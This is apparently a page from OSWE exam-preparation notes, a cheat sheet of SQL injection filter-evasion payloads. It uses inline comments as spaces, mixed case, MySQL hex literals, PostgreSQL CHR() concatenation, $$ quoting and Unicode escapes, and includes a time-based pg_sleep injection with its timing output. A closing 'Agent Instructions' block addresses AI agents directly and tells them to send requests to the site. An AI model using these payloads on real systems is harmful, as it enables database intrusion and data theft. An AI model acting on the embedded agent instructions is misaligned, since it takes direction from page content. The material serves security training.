# Bypassing Character Restrictions

## General

### Space -> Comment

```sql
SELECT id, user, password FROM users WHERE id = '1';
```

```sql
SELECT/**/id,/**/user,/**/password/**/FROM/**/users/**/WHERE/**/id/**/=/**/'1';
```

### Upper and Lower case

```sql
SELECT id, user, password FROM users WHERE id = '1';
```

```sql
SeLeCT id, user, password frOM users WHeRe id = '1';
```

## MySQL

### Hexadecimal

```sql
SELECT 0x6a6f726765637466 #SELECT 'jorgectf'
```

## PostgreSQL

### ASCII concatenation <a href="#ascii-concatenation" id="ascii-concatenation"></a>

```python
print('||'.join("CHR("+str(ord(i))+")" for i in "jorgectf"))
```

```sql
SELECT CHR(106)||CHR(111)||CHR(114)||CHR(103)||CHR(101)||CHR(99)||CHR(116)||CHR(102) #SELECT jorgectf
```

### Single Quote Bypass using $$ <a href="#single-quote-bypass-using-usdusd" id="single-quote-bypass-using-usdusd"></a>

```sql
$$jorgectf$$ #'jorgectf'
> AND $$jorgectf$$ = 'jorgectf' AND (SELECT 1 FROM pg_sleep(10))=1
0:00:10.491213
```

### Unicode <a href="#unicode" id="unicode"></a>

```sql
SELECT U&"\006a\006f\0072\0067\0065\0063\0074\0066" #SELECT jorgectf
SELECT U&'\006a\006f\0072\0067\0065\0063\0074\0066' #SELECT 'jorgectf'
U&'\006a\006f\0072\0067\0065\0063\0074\0066'() #jorgectf()
```

## More information

{% embed url="<https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jorgectf.gitbook.io/awae-oswe-preparation-resources/by-vulnerability/sql-injection/bypassing-character-restrictions.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
